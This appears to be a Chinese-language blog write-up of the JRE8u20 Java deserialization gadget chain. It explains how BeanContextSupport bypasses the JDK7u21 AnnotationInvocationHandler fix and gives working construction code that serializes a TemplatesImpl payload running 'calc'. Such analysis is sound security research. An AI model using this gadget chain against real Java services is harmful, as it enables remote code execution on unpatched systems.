概述
JRE8u20
反序列化漏洞主要原理有两个:
1、利用了 JDK7u21
的构造原理;
2、通过 BeanContextSupport
类反序列化对异常的捕获,绕过了 AnnotationInvocationHandler
反序列的修复;
在 Java
默认反序列化类基础上进行了修改,学习过程记录一下。
涉及知识点:Java 序列化和反序列化、反射、动态代理等等。
环境:jdk1.8.0_20
、IDEA 2019.2
Java
序列化文章可以参考:https://blog.csdn.net/silentbalanceyh/article/details/8183849
分析过程
JDK7u21 漏洞修复
首先看一下 jdk1.8.0_20
对 AnnotationInvocationHandler
类的反序列化修复。
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
如果 this.type
字段不是 Annotation
类型,则抛出异常。在 JDK7u21
反序列化中, this.type
字段值是 Templates.class
,所以这里肯定会抛出异常。
JRE8u20 绕过思路
Java 序列化和反序列化流程中涉及引用概念:序列化对象时,每次写入序列化对象前会调用 handles.lookup()
方法,看这个对象是否已经写入序列化,如果已经写入,则调用 writeHandle(h);
写入引用类型标识和 handle 引用值 0x7e0000 + handle
。
在 JDK7u21
序列化中,会先调用 HashSet
类的 writeObject
方法,然后调用 AnnotationInvocationHandler
默认的 defaultWriteFields(obj, slotDesc)
方法,所以在反序列化时也会先调用 HashSet
类的 readObject
方法,然后调用AnnotationInvocationHandler
类的 readObject
方法。上面说过 AnnotationInvocationHandler
类的 readObject
方法会抛出异常,而 HashSet
类的 readObject
方法没有捕获异常并处理,所以这个异常会直接抛出。
所以我们可以利用引用,如果找到一个类能调用并捕获AnnotationInvocationHandler
类的 readObject
方法的异常并且能继续执行,然后 HashSet
类的 readObject
方法直接读取 AnnotationInvocationHandler
类对象的引用。
寻找一个类,这个类需要满足几个条件:
1、实现 Serializable;
2、重写了 readObject 方法;
3、readObject 方法还存在对 readObject 的调用,并且对调用的 readObject 方法进行了异常捕获并继续执行;
JRE8u20
中使用的是 java.beans.beancontext.BeanContextSupport
这个类,看一下这个类的 readObject
方法,其中调用了 readChildren(ObjectInputStream ois)
方法,主要代码如下:
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
这个类正好满足我们的条件。
测试用例
Example
类模拟 AnnotationInvocationHandler
类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Example implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public Example(String name) {
this.name = name;
}
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.name.equals("Example")) {
throw new IOException("name is error");
}
}
}
Wrapper
类模拟 BeanContextSupport
类
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Wrapper implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("Wrapper child object readObject error");
}
}
}
Wrapper
类没有重写 writeObject
方法,可以根据 readObject
方法重新构造序列化流程。这里将默认 ObjectStreamClass
、ObjectStreamField
、ObjectStreamStream
、SerialCallbackContext
、Bits
类拷贝下来,进行重新修改。类名分别为 TCObjectStreamClass
、TCObjectStreamField
、TCObjectStreamStream
、SerialCallbackContext
、Bits
App
类
public class App {
public static void main(String[] args) throws Exception {
Example ex = new Example("test");
Wrapper wp = new Wrapper();
TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setEx(ex);
oos.writeObject0(wp);
oos.writeObject0(ex);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();
System.out.println(objectInputStream.readObject());
}
}
重新构造 Wrapper
类的写入序列化流程,目标是将 Wrapper
对象像如下方式写入序列化。所以需要修改序列化流程中的字段和语句。
private void writeObject(ObjectOutputStream s)
throws Exception {
s.defaultWriteObject();
s.writeObject(ex); // 写入 Example 对象
}
1、首先修改 TCObjectStreamClass(final Class<?> cl)
构造方法,让 Wrapper
类描述的 writeObjectMethod
字段不为 null
,这样在写入序列化数据时,会调用重写的 writeObject
方法流程。
if (cl.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
try {
writeObjectMethod = HashSet.class.getDeclaredMethod("writeObject", new Class<?>[] { ObjectOutputStream.class });
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else {
writeObjectMethod = getPrivateMethod(cl, "writeObject",
new Class<?>[] { ObjectOutputStream.class },
Void.TYPE);
}
2、修改 TCObjectOutputStream
类的 writeSerialData
方法。将 slotDesc.invokeWriteObject(obj, this);
语句替换如下:
if(slotDesc.getName() == "com.haby0.deserialization.JRE8u20.Wrapper"){
defaultWriteObject();
writeObject0(getEx());
}else {
defaultWriteObject();
}
然后执行 App
类的 main
方法,通过执行结果已经达到了我们的目的。
Wrapper child object readObject error
com.haby0.deserialization.JRE8u20.Example@2626b418
序列化文件如下:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Wrapper - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e57726170706572
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.haby0.deserialization.JRE8u20.Wrapper
values
objectAnnotation
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.haby0.deserialization.JRE8u20.Example - 0x636f6d2e68616279302e646573657269616c697a6174696f6e2e4a5245387532302e4578616d706c65
serialVersionUID - 0x00 00 00 00 00 00 00 01
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 04
classdata
com.haby0.deserialization.JRE8u20.Example
values
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 05
Length - 4 - 0x00 04
Value - test - 0x74657374
TC_ENDBLOCKDATA - 0x78
TC_REFERENCE - 0x71
Handle - 8257540 - 0x00 7e 00 04
JRE8u20 构造思路
BeanContextSupport 类关注点
看一下 BeanContextSupport
类的反序列化方法
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject(); // 调用默认的反序列化方法
initialize(); // 初始化一堆字段
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer())) // 当 serializable > 0,并且父类 beanContextChildPeer 字段值为当前对象时,调用 readChildren 方法调用子对象的 readObject 方法
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1)); // 当 ois.readInt() 大于零时继续反序列化对象,并将对象添加到 bcmListeners 中
}
}
所以我们在重写 BeanContextSupport
类的序列化数据时应该这样写入:
defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);
并且 serializable
的字段值设置为 1,beanContextChildPeer
字段值设置为 BeanContextSupport
对象。
原有序列化流程修改点
1、在 HashSet 类中构造假字段,字段类型为 java.beans.beancontext.BeanContextSupport
,BeanContextSupport 和 BeanContextChildSupport 类只写入自己想要写入的字段;
if (cl == java.util.HashSet.class){
fields = SetHashField(); // 构造 HashSet 类假字段
}else if (cl == java.beans.beancontext.BeanContextSupport.class){
fields = SetBeanContextSupportField(); // BeanContextSupport 序列化要写入的字段 serializable
}else if (cl == java.beans.beancontext.BeanContextChildSupport.class){
fields = SetBeanContextChildSupportField(); // BeanContextChildSupport 序列化要写入的字段 beanContextChildPeer
}else {
fields = getSerialFields(cl); // 默认获取序列化字段流程
}
2、修改 sun.reflect.annotation.AnnotationInvocationHandler
类的 hasWriteObjectData
值
if (cl.getName() == "sun.reflect.annotation.AnnotationInvocationHandler"){
hasWriteObjectData = true;
}else {
hasWriteObjectData = (writeObjectMethod != null);
}
3、重新构造调用重写 writeObject 方法的序列化流程,根据 JDK7u21
序列化的类来修改 writeSerialData
方法,将 slotDesc.invokeWriteObject(obj, this);
语句修改如下:
if (slotDesc.getName().equals("java.util.HashSet")){
defaultWriteObject();
bout.writeInt(16);
bout.writeFloat(.75f);
bout.writeInt(2);
writeObject0(getTemplatesImpl(), false);
writeObject0(getTemplates(), false);
}else if(slotDesc.getName().equals("java.beans.beancontext.BeanContextSupport")){
defaultWriteObject();
writeObject0(getInvocationHandler(), false);
bout.writeInt(0);
}else if(slotDesc.getName().equals("java.util.HashMap")){
defaultWriteObject();
bout.writeInt(16);
bout.writeInt(1);
writeObject0("f5a5a608");
writeObject0(getTemplatesImpl());
} else if(slotDesc.getName().equals("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")){
defaultWriteObject();
bout.writeBoolean(false);
} else {
defaultWriteObject();
}
4、修改 defaultWriteFields(obj, slotDesc);
方法,将 writeObject0(objVals[i],fields[numPrimFields + i].isUnshared());
修改如下:
if (desc.getName() == "java.util.HashSet"){
writeObject0(getBeanContextSupport(),false); // 为构造的假字段写入值为 BeanContextSupport 对象
}else if (desc.getName() == "java.beans.beancontext.BeanContextChildSupport"){
writeObject0(getBeanContextSupport(),false); // 为 beanContextChildPeer 字段写入值为 BeanContextSupport() 对象
}else {
writeObject0(objVals[i],
fields[numPrimFields + i].isUnshared());
}
构造代码
相关代码上传 github
package com.haby0.deserialization.JRE8u20;
import com.haby0.deserialization.JDK7u21;
import com.haby0.deserialization.JRE8u20.myutil.TCObjectOutputStream;
import com.haby0.deserialization.util.ClassFiles;
import com.haby0.deserialization.util.ClassLoaderImpl;
import com.haby0.deserialization.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.*;
import java.util.*;
public class App {
public static void main(String[] args) throws Exception {
BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 1);
TemplatesImpl calc = JDK7u21.createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
HashMap map = new HashMap();
map.put("f5a5a608", "aaaa");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
newInstance(Templates.class, map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(calc);
set.add(templates);
TCObjectOutputStream oos = new TCObjectOutputStream(new FileOutputStream("obj.ser"));
oos.setTemplates(templates);
oos.setTemplatesImpl(calc);
oos.setInvocationHandler(tempHandler);
oos.setBeanContextSupport(bcs);
oos.setLhs(set);
oos.writeObject0(set);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("obj.ser"));
objectInputStream.readObject();
}
}